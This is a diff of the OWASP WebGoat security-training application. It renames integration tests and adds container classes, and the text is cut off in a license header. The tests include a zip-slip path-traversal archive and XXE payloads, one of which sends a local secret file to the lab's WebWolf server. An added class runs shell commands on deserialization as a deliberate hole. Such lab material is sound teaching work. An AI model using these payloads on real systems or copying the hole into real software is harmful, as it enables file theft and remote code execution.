} }
private void assignment5() throws IOException { private void assignment5() throws IOException {
var webGoatHome = System.getProperty("java.io.tmpdir") + "/webgoat/PathTraversal/" + getWebgoatUser(); var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome); var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip"); var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory.toString() + "/image.jpg"); ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e); zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8)); zos.write("test".getBytes(StandardCharsets.UTF_8));
} }
@ -122,11 +123,10 @@ class PathTraversalITTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post("/WebGoat/PathTraversal/zip-slip") .post(url("/WebGoat/PathTraversal/zip-slip"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract().path("lessonCompleted"), CoreMatchers.is(true));
} }
@AfterEach @AfterEach

View File

@ -2,7 +2,6 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.response.Response; import io.restassured.response.Response;
import lombok.extern.log4j.Log4j;
import org.assertj.core.api.Assertions; import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
@ -16,7 +15,7 @@ import java.util.concurrent.Executors;
import java.util.stream.Collectors; import java.util.stream.Collectors;
import java.util.stream.IntStream; import java.util.stream.IntStream;
public class ProgressRaceConditionTest extends IntegrationTest { public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() throws InterruptedException { public void runTests() throws InterruptedException {

View File

@ -6,7 +6,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SSRFTest extends IntegrationTest { public class SSRFIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() throws IOException { public void runTests() throws IOException {

View File

@ -33,7 +33,7 @@ import org.junit.jupiter.api.Test;
* *
*/ */
class SessionManagementTest extends IntegrationTest { class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@ -42,6 +42,6 @@ class SessionManagementTest extends IntegrationTest {
void hijackSessionTest() { void hijackSessionTest() {
startLesson("HijackSession"); startLesson("HijackSession");
checkAssignment(HIJACK_LOGIN_CONTEXT_PATH, Map.of("username", "webgoat", "password", "webgoat"), false); checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
} }
} }

View File

@ -5,7 +5,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedTest extends IntegrationTest { public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() { public void runTests() {

View File

@ -5,7 +5,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionLessonTest extends IntegrationTest { public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'"; public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";

View File

@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.containsString;
public class SqlInjectionMitigationTest extends IntegrationTest { public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() { public void runTests() {
@ -59,7 +59,7 @@ public class SqlInjectionMitigationTest extends IntegrationTest {
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then() .then()
.statusCode(500) .statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by")); .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
params.clear(); params.clear();
params.put("ip", "104.130.219.202"); params.put("ip", "104.130.219.202");

View File

@ -10,7 +10,7 @@ import org.junit.jupiter.api.Test;
import io.restassured.RestAssured; import io.restassured.RestAssured;
public class WebWolfTest extends IntegrationTest { public class WebWolfIntegrationTest extends IntegrationTest {
@Test @Test
public void runTests() throws IOException { public void runTests() throws IOException {
@ -19,7 +19,7 @@ public class WebWolfTest extends IntegrationTest {
//Assignment 3 //Assignment 3
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("email", getWebgoatUser()+"@webgoat.org"); params.put("email", this.getUser()+"@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given() String responseBody = RestAssured.given()
@ -31,7 +31,7 @@ public class WebWolfTest extends IntegrationTest {
.extract().response().getBody().asString(); .extract().response().getBody().asString();
String uniqueCode = responseBody.replace("%20", " "); String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+getWebgoatUser().length())); uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);

View File

@ -7,7 +7,7 @@ import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class XSSTest extends IntegrationTest { public class XSSIntegrationTest extends IntegrationTest {
@Test @Test

View File

@ -1,35 +1,27 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.nio.file.Paths; import java.nio.file.Paths;
import org.junit.jupiter.api.Test; public class XXEIntegrationTest extends IntegrationTest {
import io.restassured.RestAssured; private static final String xxe3 = """
import io.restassured.http.ContentType; <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String xxe4 = """
public class XXETest extends IntegrationTest { <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
private static final String dtd7 = """
private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>"; <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>"; private static final String xxe7 = """
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;"; <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
private String webwolfFileDir; private String webWolfFileServerLocation;
@Test
public void runTests() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
/* /*
* This test is to verify that all is secure when XXE security patch is applied. * This test is to verify that all is secure when XXE security patch is applied.
@ -37,10 +29,15 @@ public class XXETest extends IntegrationTest {
@Test @Test
public void xxeSecure() throws IOException { public void xxeSecure() throws IOException {
startLesson("XXE"); startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath(); webGoatHomeDirectory = webGoatServerDirectory();
webwolfFileDir = getWebWolfServerPath(); webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given().when().relaxedHTTPSValidation() RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/xxe/applysecurity")); .when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
@ -54,11 +51,11 @@ public class XXETest extends IntegrationTest {
*/ */
private String getSecret() throws IOException { private String getSecret() throws IOException {
//remove any left over DTD //remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir); Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) { if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd"))); Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
} }
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt"); String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD //upload DTD
@ -67,12 +64,12 @@ public class XXETest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes()) .multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload")) .post(webWolfUrl("/fileupload"))
.then() .then()
.extract().response().getBody().asString(); .extract().response().getBody().asString();
//upload attack //upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser()); String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
//read results from WebWolf //read results from WebWolf
String result = RestAssured.given() String result = RestAssured.given()
@ -88,4 +85,15 @@ public class XXETest extends IntegrationTest {
} }
return result; return result;
} }
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
} }

View File

@ -0,0 +1,76 @@
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;
@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName="
+ taskName
+ ", taskAction="
+ taskAction
+ ", requestedExecutionTime="
+ requestedExecutionTime
+ "]";
}
/**
* Execute a task when de-serializing a saved or received object.
*
* @author stupid develop
*/
private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available
stream.defaultReadObject();
// do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime != null
&& (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
// do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
// condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}

View File

@ -0,0 +1,59 @@
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
/**
* AjaxAuthenticationEntryPoint class.
*
* @author zupzup
*/
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl);
}
@Override
public void commence(
HttpServletRequest request,
HttpServletResponse response,
AuthenticationException authException)
throws IOException, ServletException {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);
}
}
}

View File

@ -0,0 +1,172 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create;
import io.undertow.util.Headers;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
*
* <p><code>
* <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
private final Language language;
private final ResourceLoader resourceLoader;
public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
this.language = language;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
log.debug("template used: {}", templateName);
try (InputStream is = getInputStream(templateName)) {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
} catch (IOException e) {
return new StringTemplateResource(
"<div>Unable to find documentation for: " + templateName + " </div>");
}
}
private InputStream getInputStream(String templateName) throws IOException {
log.debug("locale: {}", language.getLocale().getLanguage());
String computedResourceName =
computeResourceName(templateName, language.getLocale().getLanguage());
if (resourceLoader
.getResource("classpath:/" + computedResourceName)
.isReadable() /*isFile()*/) {
log.debug("localized file exists");
return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
} else {
log.debug("using english template");
return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
}
}
private String computeResourceName(String resourceName, String language) {
String computedResourceName;
if (language.equals("en")) {
computedResourceName = resourceName;
} else {
computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
}
log.debug("computed local file name: {}", computedResourceName);
log.debug(
"file exists: {}",
resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
return computedResourceName;
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
attributes.put("lang", determineLanguage());
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
Map<String, Object> options = new HashMap<>();
options.put("attributes", attributes);
return options;
}
private String determineLanguage() {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
Locale browserLocale =
(Locale)
request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
if (null != browserLocale) {
log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage();
} else {
String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
if (null != langHeader) {
log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2);
} else {
log.debug("browser default english");
return "en";
}
}
}
}

View File

@ -0,0 +1,67 @@
package org.owasp.webgoat.container;
import java.util.Map;
import java.util.function.Function;
import javax.sql.DataSource;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.service.RestartLessonService;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
@Configuration
@RequiredArgsConstructor
@Slf4j
public class DatabaseConfiguration {
private final DataSourceProperties properties;
private final LessonScanner lessonScanner;
@Bean
@Primary
public DataSource dataSource() {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName(properties.getDriverClassName());
dataSource.setUrl(properties.getUrl());
dataSource.setUsername(properties.getUsername());
dataSource.setPassword(properties.getPassword());
return dataSource;
}
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
* related tables.
*/
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.dataSource(dataSource())
.schemas("container")
.locations("db/container")
.load();
}
@Bean
public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
return schema ->
Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.schemas(schema)
.dataSource(lessonDataSource)
.locations("lessons")
.load();
}
@Bean
public LessonDataSource lessonDataSource() {
return new LessonDataSource(dataSource());
}
}

View File

@ -0,0 +1,56 @@
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.session.Course;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Jeff Williams
* @author Bruce Mayhew
* @author Nanne Baars
* @version $Id: $Id
* @since October 28, 2003
*/
@Controller
@AllArgsConstructor
public class HammerHead {
private final Course course;
/** Entry point for WebGoat, redirects to the first lesson found within the course. */
@RequestMapping(
path = "/attack",
method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView attack() {
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
}
}

View File

@ -0,0 +1,70 @@
package org.owasp.webgoat.container;
import java.io.PrintWriter;
import java.lang.reflect.Proxy;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.sql.DataSource;
import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
import org.springframework.jdbc.datasource.ConnectionProxy;
public class LessonDataSource implements DataSource {
private final DataSource originalDataSource;
public LessonDataSource(DataSource dataSource) {
this.originalDataSource = dataSource;
}
@Override
public Connection getConnection() throws SQLException {
var targetConnection = originalDataSource.getConnection();
return (Connection)
Proxy.newProxyInstance(
ConnectionProxy.class.getClassLoader(),
new Class[] {ConnectionProxy.class},
new LessonConnectionInvocationHandler(targetConnection));
}
@Override
public Connection getConnection(String username, String password) throws SQLException {
return originalDataSource.getConnection(username, password);
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return originalDataSource.getLogWriter();
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
originalDataSource.setLogWriter(out);
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
originalDataSource.setLoginTimeout(seconds);
}
@Override
public int getLoginTimeout() throws SQLException {
return originalDataSource.getLoginTimeout();
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return originalDataSource.getParentLogger();
}
@Override
public <T> T unwrap(Class<T> clazz) throws SQLException {
return originalDataSource.unwrap(clazz);
}
@Override
public boolean isWrapperFor(Class<?> clazz) throws SQLException {
return originalDataSource.isWrapperFor(clazz);
}
}

View File

@ -0,0 +1,90 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Dynamically resolve a lesson. In the html file this can be invoked as: <code>
* <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
* </code>
*
* <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
* the html in the plugins directory
*/
@Slf4j
public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:";
private ResourceLoader resourceLoader;
private Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName);
if (resource == null) {
try {
resource =
resourceLoader
.getResource("classpath:/" + templateName)
.getInputStream()
.readAllBytes();
} catch (IOException e) {
log.error("Unable to find lesson HTML: {}", template);
}
resources.put(templateName, resource);
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
}

View File

@ -0,0 +1,260 @@
/**
* ************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
